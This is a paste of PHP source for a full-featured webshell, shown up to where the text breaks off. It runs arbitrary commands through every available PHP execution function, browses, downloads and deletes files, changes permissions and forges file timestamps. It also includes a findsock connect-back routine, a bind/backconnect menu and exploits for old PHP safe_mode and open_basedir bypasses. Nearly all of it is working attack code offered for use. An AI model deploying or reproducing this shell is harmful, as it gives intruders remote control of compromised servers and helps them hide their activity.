· 8 years ago · Dec 09, 2017, 07:28 PM
1<?php
2//th1s 1s ultr4l33t php websh3ll || uz3 1t f0r 3duc4t10n4l purp0zes 0nly :P
3if(isset($_GET['pfs'])) {
4 if(empty($_GET['path'])) {
5 $path="./";
6 } else {
7 $path=$_GET['path'];
8 }
9 findsock($path);
10}
11
12$ver="2.0";
13// --------------------------------------------- globals
14@ini_set('display_errors',0);
15@ini_set('log_errors',0);
16@error_reporting(0);
17@set_time_limit(0);
18@ignore_user_abort(1);
19@ini_set('max_execution_time',0);
20$htaccesses=array('cgi' => "Options +Indexes +FollowSymLinks +ExecCGI\nAddType application/x-httpd-cgi .pl .py", 'ssi' => "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml\nAddOutputFilter INCLUDES .shtml");
21if($_POST['action']!="") {
22 $_SESSION['action']=$_POST['action'];
23 $action=$_SESSION['action'];
24} else {
25 $action="viewer";
26}
27// download file or command execution result
28if($action=="download" or $_POST["down"]=="on") {
29 $download="1";
30}
31if ($download == "1") {
32 if (isset($_POST["file"])) {
33 header('Content-Length:'.filesize($_POST["file"]).'');
34 }
35 header("Content-Type: application/force-download");
36 header("Content-Type: application/octet-stream");
37 header("Accept-Ranges: bytes");
38 if (isset($_POST["filename"])) {
39 header('Content-Disposition: attachment; filename="'.$_POST["filename"].'"');
40 } elseif (isset($_POST["file"])) {
41 header('Content-Disposition: attachment; filename="'.$_POST["file"].'"');
42 } else {
43 header('Content-Disposition: attachment; filename="result.txt"');
44 }
45}
46@set_magic_quotes_runtime(0);
47// slashes fix by r00nix
48if (get_magic_quotes_gpc()) {
49 function stripslashes_deep($value) {
50 $value = is_array($value) ?
51 array_map('stripslashes_deep', $value) :
52 stripslashes($value);
53 return $value;
54 }
55 $_POST = array_map('stripslashes_deep', $_POST);
56 $_GET = array_map('stripslashes_deep', $_GET);
57 $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
58 $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
59}
60$descriptorspec = array(
61 0 => array("pipe", "r"),
62 1 => array("pipe", "w"),
63 2 => array("pipe", "w")
64);
65$helpscript='function showTooltip(id)
66{
67 var myDiv = document.getElementById(id);
68 if(myDiv.style.display == "none"){
69 myDiv.style.display = "block";
70 } else {
71 myDiv.style.display = "none";
72 }
73 return false;
74}';
75$resizescript='function changeSize(elem){
76 if(event.keyCode==13){
77 elem.rows = elem.rows+1;
78 }
79 var oldrows = getrows(elem);
80 var myTxtAreaSize = elem.value.length;
81 var newrows = (myTxtAreaSize / 80 | 0)+1;
82 if(newrows>oldrows){
83 elem.rows = newrows;
84 } else {
85 elem.rows = oldrows;
86 }
87}
88function getrows(elem){
89 var text = elem.value.replace(/\s+$/g, "\n");
90 var aNewlines = text.split("\n");
91 var iNewlineCount = aNewlines.length;
92 return iNewlineCount;
93}';
94$design='function cleard() {
95 document.cookie="d=c; path=/;";
96 window.location.reload();
97}
98function blackd() {
99 document.cookie="d=b; path=/;";
100 window.location.reload();
101}';
102if ($_COOKIE['d'] != "c") {
103 $style='<style type="text/css">
104 a {
105 color: yellow;
106 text-decoration: none;
107 text-shadow: black 0px 0px 4px;
108 }
109 input {
110 background-color: #303030;
111 color: #73ba25; /* guess why */
112 border: none;
113 }
114 textarea {
115 background-color: #303030;
116 color: #73ba25;
117 border: none;
118 }
119 input[type="submit"] {
120 background-color: gray;
121 color: white;
122 }
123 select {
124 background-color: black;
125 color: yellow;
126 }
127 body {
128 background-color: black;
129 color: white;
130 }
131 </style>';
132} else {
133 $style='';
134}
135if ($_COOKIE['d'] == "c") {
136 $button='<input type="button" value="black style" onclick="blackd()"></span><br><br>';
137 } else {
138 $button='<input type="button" value="clear style" onclick="cleard()"></span><br><br>';
139}
140$title='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
141<!-- made by 12309 || cheerz to Tidus, Shift, pekayoba, Zer0, ForeverFree, r00nix and all people whose code i borrowed || exploit.in f0r3v4 -->
142<html>
143 <head>
144 <title>12309 '.$ver.'</title>
145 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'.$style.'</head><body><script type="text/javascript">'.$helpscript.''.$resizescript.''.$design.'</script><span style="float:left;"><form name="page" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="p" type="hidden" value=""></form><b><a href="#" onclick=\'document.page.p.value="f";document.page.submit();\'>file operations</a></b> || <b><a href="#" onclick=\'document.page.p.value="s";document.page.submit();\'>execute command</a></b> || <b><a href="#" onclick=\'document.page.p.value="b";document.page.submit();\'>bind/backconnect</a></b> || <b><a href="#" onclick=\'document.page.p.value="e";document.page.submit();\'>extras</a></b></span><span style="float: right;">'.$button.'';
146// --------------------------------------------- symbolic permissions
147function fperms($file,$request) {
148 $perms = fileperms($file);
149 if (($perms & 0xC000) == 0xC000) {$info = 's';}
150 elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
151 elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
152 elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
153 elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
154 elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
155 elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
156 else {$info = '?';}
157 if ($request == "string") {
158 $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
159 $info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
160 $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
161 return $info;
162 } elseif ($request == "array") {
163 $o["r"] = ($perms & 00400) > 0; $o["w"] = ($perms & 00200) > 0; $o["x"] = ($perms & 00100) > 0;
164 $g["r"] = ($perms & 00040) > 0; $g["w"] = ($perms & 00020) > 0; $g["x"] = ($perms & 00010) > 0;
165 $w["r"] = ($perms & 00004) > 0; $w["w"] = ($perms & 00002) > 0; $w["x"] = ($perms & 00001) > 0;
166 return array("t"=>$info,"o"=>$o,"g"=>$g,"w"=>$w);
167 } else {
168 return "request?";
169 }
170}
171function view_perms_color($file) {
172 if (!is_readable($file)) {
173 return "<font color=red>".fperms($file,"string")."</font>";
174 } elseif (!is_writable($file)) {
175 return "<font color=white>".fperms($file,"string")."</font>";
176 } else {
177 return "<font color=green>".fperms($file,"string")."</font>";
178 }
179}
180// --------------------------------------------- touch file
181function touchz($file) {
182 $form=TRUE;
183 if (isset($_POST["touch_submit"])) {
184 $date=explode(" ",$_POST["time"]);
185 $day=explode("-",$date[0]);
186 $time=explode(":",$date[1]);
187 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
188 if (touch($file,$unixtime,$unixtime)) {
189 $form = FALSE;
190 echo "<br>touched ".$file." to ".$unixtime." (".$_POST["time"].") <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
191 } else {
192 echo "<br>can't touch to ".$unixtime." (".$_POST["time"].")! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
193 }
194 }
195 if ($form) {
196 echo "<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
197 <input type=\"hidden\" name=\"p\" value=\"f\">
198 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
199 <input type=\"hidden\" name=\"action\" value=\"touch\">
200 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
201 touch ".$file." to: <input name=\"time\" type=\"text\" maxlength=\"19\" size=\"19\" value=\"".date("Y-m-d H:i:s",filemtime($file))."\">
202 <tr><td><input type=\"submit\" name=\"touch_submit\" value=\"Touch\"></td></tr>
203 </table></form>";
204 }
205 return TRUE;
206}
207// --------------------------------------------- chmod code from c99 shell, updated by 12309
208function chmodz($file) {
209 $check = fileperms($file);
210 if (!$check) {echo "<b>chmod error: can`t get current value!</b>";}
211 else {
212 $form=TRUE;
213 if (isset($_POST["chmod_submit"])) {
214 $chmod_o=$_POST["chmod_o"];
215 $chmod_g=$_POST["chmod_g"];
216 $chmod_w=$_POST["chmod_w"];
217 $octet=trim("0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8));
218 if (chmod($file,octdec($octet))) {
219 $form = FALSE;
220 echo "chmoded ".$file." to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
221 } else {
222 echo "can't chmod to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
223 }
224 }
225 if (isset($_POST["chmod_string"])) {
226 if (chmod($file,octdec($_POST["string"]))) {
227 $form = FALSE;
228 echo "chmoded ".$file." to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
229 } else {
230 echo "can't chmod to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
231 }
232 }
233 if ($form) {
234 $perms = fperms($file,"array");
235 echo "<br>chmoding ".$file.": ".view_perms_color($file)." (".substr(decoct($check),-4,4).") owned by: <br>".owner($file)."<br>
236 <br>input string: <form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
237 <input type=\"hidden\" name=\"p\" value=\"f\">
238 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
239 <input type=\"hidden\" name=\"action\" value=\"chmod\">
240 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
241 <input type=\"text\" name=\"string\" maxlength=\"4\" size=\"4\" value=\"".substr(decoct($check),-4,4)."\">
242 <input type=\"submit\" name=\"chmod_string\" value=\"Save\"></form>";
243 echo "<br> or select checkboxes:<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
244 <input type=\"hidden\" name=\"p\" value=\"f\">
245 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
246 <input type=\"hidden\" name=\"action\" value=\"chmod\">
247 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
248 <table align=\"left\" width=\"300\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">
249 <tr>
250 <td><b>Owner</b><br>
251 <input type=\"checkbox\" name=\"chmod_o[r]\" value=\"1\"".($perms["o"]["r"]?" checked":"")."> read<br>
252 <input type=\"checkbox\" name=\"chmod_o[w]\" value=\"1\"".($perms["o"]["w"]?" checked":"")."> write<br>
253 <input type=\"checkbox\" name=\"chmod_o[x]\" value=1".($perms["o"]["x"]?" checked":"")."> execute
254 </td>
255 <td><b>Group</b><br>
256 <input type=\"checkbox\" name=\"chmod_g[r]\" value=\"1\"".($perms["g"]["r"]?" checked":"")."> read<br>
257 <input type=\"checkbox\" name=\"chmod_g[w]\" value=\"1\"".($perms["g"]["w"]?" checked":"")."> write<br>
258 <input type=\"checkbox\" name=\"chmod_g[x]\" value=\"1\"".($perms["g"]["x"]?" checked":"")."> execute
259 </td>
260 <td><b>World</b><br>
261 <input type=\"checkbox\" name=\"chmod_w[r]\" value=\"1\"".($perms["w"]["r"]?" checked":"")."> read<br>
262 <input type=\"checkbox\" name=\"chmod_w[w]\" value=\"1\"".($perms["w"]["w"]?" checked":"")."> write<br>
263 <input type=\"checkbox\" name=\"chmod_w[x]\" value=\"1\"".($perms["w"]["x"]?" checked":"")."> execute
264 </td>
265 </tr>
266 <tr><td><input type=\"submit\" name=\"chmod_submit\" value=\"Save\"></td></tr>
267 </table></form>";
268 }
269 }
270 return TRUE;
271}
272// --------------------------------------------- clearing phpversion()
273function version() {
274 $pv=explode(".",phpversion());
275 if(eregi("-",$pv[2])) {
276 $tmp=explode("-",$pv[2]);
277 $pv[2]=$tmp[0];
278 }
279 $php_version_sort=$pv[0].".".$pv[1].".".$pv[2];
280 return $php_version_sort;
281}
282// --------------------------------------------- recursive dir removal by Endeveit
283function rmrf($dir)
284{
285 if ($objs = glob($dir."/*")) {
286 foreach($objs as $obj) {
287 is_dir($obj) ? rmrf($obj) : unlink($obj);
288 }
289 }
290 if (rmdir($dir)) {
291 return TRUE;
292 } else {
293 return FALSE;
294 }
295}
296// --------------------------------------------- checking for enabled funcs
297function function_enabled($func) {
298 $disabled=explode(",",@ini_get("disable_functions"));
299 if (empty($disabled)) {
300 $disabled=array();
301 }
302 else {
303 $disabled=array_map('trim',array_map('strtolower',$disabled));
304 }
305 return (function_exists($func) && is_callable($func) && !in_array($func,$disabled) );
306}
307if (!function_enabled('shell_exec') and !function_enabled('proc_open') and !function_enabled('passthru') and !function_enabled('system') and !function_enabled('exec') and !function_enabled('popen')) {
308 $failflag="1";
309} else {
310 $failflag="0";
311}
312// -------------------------------------------- run command
313function run($c) {
314 if (function_enabled('shell_exec')) {
315 shell_exec($c);
316 } else if(function_enabled('system')) {
317 system($c);
318 } else if(function_enabled('passthru')) {
319 passthru($c);
320 } else if(function_enabled('exec')) {
321 exec($c);
322 } else if(function_enabled('popen')) {
323 $fp=popen($c,'r');
324 @pclose($fp);
325 } else if(function_enabled('proc_open')) {
326 $handle=proc_open($c,$GLOBALS["descriptorspec"],$pipes);
327 while (!feof($pipes[1])) {
328 $buffer.=fread($pipes[1],1024);
329 }
330 @proc_close($handle);
331 }
332}
333// -------------------------------------------- php <= 5.2.9 curl bug
334function sploent529($path) {
335 if (!is_dir('file:')) {
336 mkdir('file:');
337 }
338 $dirz=array();
339 $a=array();
340 $a=explode('/',$path);
341 $c=count($a);
342 $dir='file:/';
343 $d=substr($dir,0,-1);
344 if (!is_dir($d)) {
345 mkdir($d);
346 }
347 for ($i=0;$i<$c-1;++$i) {
348 $dir.=$a[$i].'/';
349 $d=substr($dir,0,-1);
350 $dirz[]=$d;
351 if (!is_dir($d)) {
352 mkdir($d);
353 }
354 }
355 if (!file_exists($path)) {
356 $fp=fopen('file:/'.$path,'w');
357 fclose($fp);
358 }
359 $ch=curl_init();
360 curl_setopt($ch,CURLOPT_URL,'file:file:////'.$path);
361 curl_setopt($ch,CURLOPT_HEADER,0);
362 if(FALSE==curl_exec($ch)) {
363 echo (" fail :( either there is no such file or exploit failed ");
364 curl_close($ch);
365 rmrf('file:');
366 die();
367 } else {
368 curl_close($ch);
369 rmrf('file:');
370 return TRUE;
371 }
372}
373// --------------------------------------------- php 5.1.6 ini_set bug
374function sploent516() {
375 //safe_mode check
376 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
377 ini_restore("safe_mode");
378 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
379 ini_set("safe_mode", FALSE);
380 ini_set("safe_mode", "Off");
381 ini_set("safe_mode", "0");
382 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
383 echo "<font color=\"red\">safe mode: ON</font><br>";
384 } else {
385 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
386 }
387 } else {
388 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
389 }
390 } else {
391 echo "<font color=\"green\">safe mode: OFF</font><br>";
392 }
393 //open_basedir check
394 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
395 echo "open_basedir: none<br>";
396 }
397 else {
398 ini_restore("open_basedir");
399 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
400 echo "open_basedir: none || hello php-5.1.6 bugs<br>";
401 }
402 else {
403 ini_set('open_basedir', '/');
404 if (ini_get("open_basedir")=="/") {
405 echo "open_basedir: / || hello php-5.1.6 bugs<br>";
406 }
407 else {
408 $basedir=TRUE;
409 echo "open_basedir: ".ini_get("open_basedir");
410 }
411 }
412 }
413}
414// --------------------------------------------- findsock
415function findsock($path) {
416 $VERSION = "1.0";
417 echo "findsock start\n ";
418 $c="".$path." ".$_SERVER['REMOTE_ADDR']." ".$_SERVER['REMOTE_PORT']."";
419 run($c);
420 echo " exiting\n";
421 exit();
422}
423// --------------------------------------------- search for binary
424function search($bin,$flag) {
425 if ($flag=="1") {
426 $path="";
427 return $path;
428 } else {
429 if (function_enabled('shell_exec')) {
430 $path=trim(shell_exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
431 } else if(function_enabled('exec')) {
432 $path=trim(exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
433 } else if(function_enabled('system')) {
434 ob_start();
435 system('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
436 $path=trim(ob_get_contents());
437 ob_end_clean();
438 } else if (function_enabled('popen')) {
439 $hndl=popen('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in', "r");
440 $path=trim(stream_get_contents($hndl));
441 pclose($hndl);
442 } else if(function_enabled('passthru')) {
443 ob_start();
444 passthru('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
445 $path=trim(ob_get_contents());
446 ob_end_clean();
447 } else if(function_enabled('proc_open')) {
448 $c='export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin && which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in';
449 $process = proc_open('/bin/sh', $GLOBALS["descriptorspec"], $pipes);
450 if (is_resource($process)) {
451 fwrite($pipes[0],$c);
452 fclose($pipes[0]);
453 $path=trim(stream_get_contents($pipes[1]));
454 fclose($pipes[1]);
455 fclose($pipes[2]);
456 @proc_close($process);
457 }
458 }
459 }
460 return $path;
461}
462// --------------------------------------------- filemanager code by Grinay, updated by 12309
463function owner($path) {
464 $user=fileowner($path);
465 $group=filegroup($path);
466 $data=$user;
467 if(function_enabled('posix_getpwuid')) {
468 $u=posix_getpwuid($user);
469 $data.=" (".$u["name"].")";
470 }
471 $data.=" <br> ".$group;
472 if(function_enabled('posix_getgrgid')) {
473 $g=posix_getgrgid($group);
474 $data.=" (".$g["name"].") ";
475 }
476 return $data;
477}
478function view_size($size) {
479 if ($size>=1073741824) { $size=@round($size/1073741824*100)/100 ." GB"; }
480 elseif ($size>=1048576) { $size=$size." B<br>".@round($size/1048576*100)/100 ." MB"; }
481 elseif ($size>=1024) { $size=$size." B<br>".@round($size/1024*100)/100 ." KB"; }
482 else { $size=$size ." B"; }
483 return $size;
484}
485function dirsize($path) {
486 $totalsize=0;
487 if ($handle=opendir($path)) {
488 while (false !== ($file = readdir($handle))) {
489 $nextpath=$path . '/' . $file;
490 if ($file!='.' && $file != '..' && !is_link ($nextpath)) {
491 if (is_dir($nextpath)) {
492 $result=dirsize($nextpath);
493 $totalsize+=$result['size'];
494 } elseif (is_file($nextpath)) {
495 $totalsize+=filesize($nextpath);
496 }
497 }
498 }
499 }
500 closedir ($handle);
501 return $totalsize;
502}
503function scandire($dir) {
504 if (empty($dir)) { $dir=getcwd(); }
505 $dir=chdir($dir) or die('<font color="red">cannot chdir!</font> open_basedir/safe_mode on?<br><br>');
506 $dir=getcwd()."/";
507 $dir=str_replace("\\","/",$dir);
508 if (is_dir($dir)) {
509 if ($dh = opendir($dir)) {
510 while (($file = readdir($dh)) !== false) {
511 if(filetype($dir . $file)=="dir") $dire[]=$file;
512 if(filetype($dir . $file)=="file")$files[]=$file;
513 }
514 closedir($dh);
515 @sort($dire);
516 @sort($files);
517 echo "<table border>";
518 echo '<tr><td><form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="f">go to dir:<input type="text" name="dir" value="'.$dir.'" size="30"><input name="action" type="hidden" value="viewer"><input type="submit" value="Go"></form></td></tr>';
519 echo "<tr><td>Name</td><td>Type</td><td>Size</td><td>Inode Changed<br>File Modified<br>File Accessed</td><td>Owner<br>Group</td><td>Chmod</td><td>Action</td></tr>";
520 for($i=0;$i<count($dire);$i++) {
521 $link=$dir.$dire[$i];
522 echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>Dir</td><td>'.view_size(dirsize($link)).'</td><td>'.date("d/m/Y H:i:s",filemtime($link)).'<br>'.date("d/m/Y H:i:s",filectime($link)).'<br>'.date("d/m/Y H:i:s",fileatime($link)).'</td><td>'.owner($link).'</td><td>'.substr(sprintf('%o',fileperms($link)), -4).' <br>('.view_perms_color($link,"string").')</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Touch">T</a></td></tr>';
523 }
524 for($i=0;$i<count($files);$i++) {
525 $linkfile=$dir.$files[$i];
526 echo '<tr><td><a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();">'.$files[$i].'</a><br></td><td>File</td><td>'.view_size(filesize($linkfile)).'</td><td>'.date("d/m/Y H:i:s",filectime($linkfile)).'<br>'.date("d/m/Y H:i:s",filemtime($linkfile)).'<br>'.date("d/m/Y H:i:s",fileatime($linkfile)).'</td><td>'.owner($linkfile).'</td><td>'.substr(sprintf('%o',fileperms($linkfile)), -4).' <br>('.view_perms_color($linkfile,"string").')</td><td> <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Download">D</a> <a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();" title="Edit">E</a> <a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Touch">T</a></td></tr></tr>';
527 }
528 echo "</table>";
529 }
530 }
531}
532// --------------------------------------------- main code
533if (!isset($_REQUEST['p'])) { $_REQUEST['p']="s"; }
534switch ($_REQUEST['p']) {
535 case "s":
536 if (empty($_POST["wut"]) and $download != "1") {
537 echo $title;
538 sploent516();
539 if (ini_get("safe_mode")) {
540 $failflag="1";
541 }
542 $shelltext=("uname -a");
543 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">
544 <font color="green"> haxor@pwnedbox$ </font><textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> <input type="submit" value="go"> <input name="p" type="hidden" value="s"><input type="checkbox" name="down"> download <br><br>';
545 if ($failflag=="1") {
546 echo "all system functions are disabled :( <font color=\"gray\"> but you could try a CGI/SSI shell ;) and still there is<br></font>"; } else {
547 if (function_enabled('passthru')) {
548 echo 'passthru <input name="wut" value="passthru" type="radio" checked><br>';
549 } else { echo 'passthru is disabled!<br>';}
550 if (function_enabled('system')) {
551 echo 'system <input name="wut" value="system" type="radio"><br>';
552 } else { echo 'system is disabled!<br>';}
553 if (function_enabled('exec')) {
554 echo 'exec <input name="wut" value="exec" type="radio"><br>';
555 } else { echo 'exec is disabled!<br>';}
556 if (function_enabled('shell_exec')) {
557 echo 'shell_exec <input name="wut" value="shell_exec" type="radio"><br>';
558 } else { echo 'shell_exec is disabled!<br>';}
559 if (function_enabled('popen')) {
560 echo 'popen <input name="wut" value="popen" type="radio"><br>';
561 } else { echo 'popen is disabled!<br>';}
562 if (function_enabled('proc_open')) {
563 echo 'proc_open <input name="wut" value="proc_open" type="radio"><br>';
564 } else { echo 'proc_open is disabled!<br>';}
565 }
566 // eval almost always enabled, except there is special option in suhosin-patched php
567 echo 'php eval() <input name="wut" value="eval" type="radio"><br>';
568 echo '</form>';
569 echo "<br>pcntl_exec:";
570 //determining if pcntl enabled is kinda tricky. debug: add if(dl('pcntl.so')) or check var_dump(get_extension_funcs('pcntl')) ?
571 if (extension_loaded('pcntl')) {
572 if (function_enabled('pcntl_fork')) {
573 if (function_enabled('pcntl_exec')) {
574 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="./rezult.html"> ';
575 if (is_writable("./")) {
576 echo "<font color=\"green\">(./ writable)</font>";
577 } else {
578 echo "<font color=\"red\">(./ readonly)</font>";
579 }
580 echo '<br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
581 } else {
582 echo "<br>pcntl_exec is disabled!<br>";
583 }
584 } else {
585 echo "<br>pcntl_fork is disabled!<br>";
586 }
587 } else {
588 echo "<br>fail, no pcntl.so here<br>";
589 }
590 echo "<br>ssh2_exec:";
591 if (extension_loaded('ssh2')) {
592 if (function_enabled('ssh2_connect')) {
593 if (function_enabled('ssh2_exec')) {
594 if ($download != "1") {
595 if (empty($_POST["wut"])) {
596 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"> <font color="gray">host: <input name="ssh2host" type="text" size="20" value="localhost"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="22"> user: <input name="ssh2user" type="text" size="20" value="h4x0r"> password: <input name="ssh2pass" type="text" size="20" value="r0xx0r"> </font><br><font color="green"> haxor@pwnedbox$ </font><input name="command" type="text" size="40" value="uname -a"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
597 }
598 }
599 } else {
600 echo "<br>ssh2_exec is disabled!";
601 }
602 } else {
603 echo "<br>ssh2_connect is disabled!";
604 }
605 } else {
606 echo "<br>fail, no ssh2.so here";
607 }
608 echo "</body></html>";
609 } else {
610 if ($download != "1") {
611 echo $title;
612 }
613 $shelltext=$_POST["command"];
614 $html='<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s">';
615 $input='<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> 2>&1 <input type="submit" value="Enter"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="';
616 if ($download != "1") {
617 switch ($_POST["wut"]) {
618 case "passthru":
619 if (strnatcmp(version(),"5.2.9") <= 0) {
620 sploent516();
621 }
622 echo "$html"; echo "$input"; echo 'passthru"></form>';
623 break;
624 case "system":
625 if (strnatcmp(version(),"5.2.9") <= 0) {
626 sploent516();
627 }
628 echo "$html"; echo "$input"; echo 'system"></form>';
629 break;
630 case "exec":
631 if (strnatcmp(version(),"5.2.9") <= 0) {
632 sploent516();
633 }
634 echo "$html"; echo "$input"; echo 'exec"></form>';
635 break;
636 case "shell_exec":
637 if (strnatcmp(version(),"5.2.9") <= 0) {
638 sploent516();
639 }
640 echo "$html"; echo "$input"; echo 'shell_exec"></form>';
641 break;
642 case "popen":
643 if (strnatcmp(version(),"5.2.9") <= 0) {
644 sploent516();
645 }
646 echo "$html"; echo "$input"; echo 'popen"></form>';
647 break;
648 case "proc_open":
649 if (strnatcmp(version(),"5.2.9") <= 0) {
650 sploent516();
651 }
652 echo "$html"; echo "$input"; echo 'proc_open"></form>';
653 break;
654 case "eval":
655 if (strnatcmp(version(),"5.2.9") <= 0) {
656 sploent516();
657 }
658 echo "$html"; echo 'php -r \''; echo '<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> \' <input type="submit" value="Enter">
